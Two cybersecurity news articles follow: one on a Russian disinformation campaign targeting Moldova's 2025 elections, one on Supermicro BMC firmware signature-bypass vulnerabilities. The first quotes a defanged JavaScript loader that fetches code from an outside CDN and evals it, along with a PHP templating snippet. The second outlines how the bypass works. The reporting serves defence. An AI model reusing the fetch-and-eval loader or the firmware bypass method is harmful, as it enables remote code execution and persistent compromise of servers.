On the eve of Moldova’s parliamentary elections scheduled for September 28, 2025, cybersecurity researchers have uncovered a sophisticated Russian-backed disinformation campaign designed to undermine public confidence in Moldova’s pro-European leadership.

The campaign began surfacing in April 2025, when analysts first observed a cluster of newly registered domains publishing biased news articles in both Romanian and Russian.

These websites employed identical templates and shared infrastructure with older Russian propaganda outlets, signaling an orchestrated effort to sow discord at a critical juncture in Moldova’s democratic process.

Silent Push analysts identified the campaign through a combination of open-source intelligence and network traffic analysis.

Initial indicators included dozens of URLs hosting political commentary with inflammatory headlines aimed at discrediting the ruling coalition and amplifying calls to pivot back toward Moscow.

Subsequent investigations revealed that these domains resolved to two dedicated IP addresses, both of which had previously hosted content for a 2022 disinformation operation known as Absatz.

By correlating registration metadata and hosting records, researchers established a clear lineage between the new Moldovan targeting effort and earlier campaigns.

Through deep technical analysis, Silent Push analysts noted that the new sites reused several bespoke functions originally developed for the 2022 effort.

These functions handled content generation, automatic comment moderation, and stealthy redirection of social-media referrals.

Reusing this code not only accelerated deployment but also provided a unique fingerprint enabling researchers to connect the disparate sites.

The technical footprint was especially evident in the PHP module responsible for article templating and URL parameter parsing, which contained the following identifiable snippet:-

[? php
function renderStory($ storyId) {
    $ seed = 'Storm1679';
    $ key = substr (md5($ storyId . $ seed), 0, 8);
    $ templatePath = "/var /www /html /templates /{$ key}_template[.]php";
    include($ templatePath);
}
?]

By comparing hash fragments in each URL, analysts could trace the evolution of the codebase across both the 2022 Absatz infrastructure and the 2025 Moldovan campaign.

Detection Evasion and Infrastructure Persistence

The campaign’s operators demonstrated advanced persistence tactics, carefully architecting their infrastructure to evade conventional detection.

Each disinformation website employed a rotating pool of content delivery networks (CDNs) and proxy services to mask origin IPs, falling back to hard-coded backup hosts when a primary node was taken offline.

DNS records were configured with extremely short TTL values—often under five minutes—forcing security teams to constantly refresh caches and complicating takedown efforts.

In one instance, when researchers successfully blocked access to a malicious domain at the ISP level, the site automatically redirected visitors to an alternate domain using a stealth JavaScript loader:

[script]
  fetch('https://cdn.cloudproxy[.]net/get?siteId=42')
    . then (res =() res[.]text())
    . then (code =() eval (code));
[/script]

This loader fetched an obfuscated payload from a third-party CDN, which in turn rehydrated the disinformation site content in the user’s browser without touching the original domain.

By leveraging this dual-stage loading mechanism, the campaign could survive domain blacklisting and continue publishing articles without significant downtime.

To maintain operational security, all command-and-control interactions for new content updates were conducted over TLS-encrypted channels using non-standard ports.

The same ports had been observed in the 2022 Absatz campaign, further cementing the link between the two efforts.

Analysts also noted that social-media amplification relied on low-quality bot accounts programmed to mimic genuine user behavior by varying posting times and interleaving political content with neutral topics like sports or local weather.

As Moldova approaches the polls, this campaign underscores the importance of technical collaboration and real-time monitoring to defend democratic institutions from covert influence operations.

Silent Push continues to track and mitigate the evolving infrastructure behind the Storm-1679 network, with detailed telemetry available to enterprise customers for proactive defense measures.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Russian Disinformation Campaign Targeting Upcoming Moldova’s Elections appeared first on Cyber Security News.

Critical vulnerabilities discovered in Supermicro Baseboard Management Controller (BMC) firmware have exposed a troubling pattern where inadequate security fixes create new attack vectors, allowing sophisticated adversaries to bypass signature verification mechanisms and maintain persistent control over enterprise server infrastructure.

These flaws, affecting multiple generations of Supermicro motherboards, demonstrate how design weaknesses in firmware validation processes can undermine the fundamental security assumptions of server hardware.

The vulnerabilities emerged following an investigation into supposedly fixed security issues, revealing that vendor patches implemented in January 2025 were insufficient to address the underlying authentication flaws.

The original vulnerability, CVE-2024-10237, was discovered by NVIDIA’s Offensive Security Research Team and involved fundamental flaws in BMC firmware image authentication design that could allow attackers with administrative access to upload malicious firmware updates.

Binarly analysts identified a bypass technique for the vendor’s CVE-2024-10237 fix, resulting in the assignment of CVE-2025-7937.

During their extended analysis of different Supermicro products, researchers discovered a similar vulnerability employing distinct exploitation techniques, assigned CVE-2025-6198.

The exploitation of this second vulnerability revealed capabilities extending beyond mere firmware updates, enabling attackers to bypass the BMC Root of Trust (RoT) security feature entirely.

The attack vectors leverage design flaws in the three-step firmware validation process used across Supermicro’s BMC implementations.

Initially, the system retrieves a public key from the BMC SPI flash chip forming part of the currently running firmware, while extracting cryptographic signature values from uploaded image blobs using RSA-4096 verification.

The process then analyzes embedded tables representing different firmware regions, calculating SHA-512 hash digests of signed regions before verifying signatures against calculated digests.

These vulnerabilities grant attackers complete persistent control over both BMC systems and main server operating systems, representing a critical escalation pathway that compromises fundamental hardware security assumptions in enterprise environments.

Exploitation Mechanisms and Signature Bypass Techniques

The bypass techniques exploit fundamental weaknesses in how firmware validation logic processes region tables embedded within uploaded images.

For CVE-2025-7937, attackers circumvent the supposed fixes by introducing custom fwmap tables before original ones, containing single elements that encompass all signed regions concatenated together.

The exploit leverages the fact that fwmap tables are located in memory by signature rather than fixed positions, allowing manipulation of the validation sequence.

In the X12STW-F firmware version 01.06.17, the original validation process defines six distinct regions with specific offsets and signing requirements.

The bypass technique creates a consolidated entry at offset 0x100000 with size 0x2b32c00 marked as signed boot content, effectively wrapping all legitimate signed regions into a single validated block while inserting malicious content in the bootloader space.

For CVE-2025-6198, the exploitation technique targets the auth_bmc_sig function within the OP-TEE environment, manipulating the sig_table section located at offset 0x100000.

This alternative validation method processes region information differently, storing offsets in the first four bytes and custom-transformed size values in remaining bytes.

By modifying kernel regions and updating corresponding sig_table entries, attackers maintain signature validity while executing arbitrary code during BMC boot processes.

The successful exploitation of these techniques results in persistent arbitrary code execution capabilities, with modified kernel images bypassing authentication mechanisms during boot sequences.

Binarly researchers demonstrated successful validation and flashing of modified images through UART debugging interfaces, confirming that customized kernels execute without triggering security mechanisms, effectively compromising the entire BMC security model.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post BMC Firmware Vulnerabilities Allow Attackers to Bypass Signature Verification Features appeared first on Cyber Security News.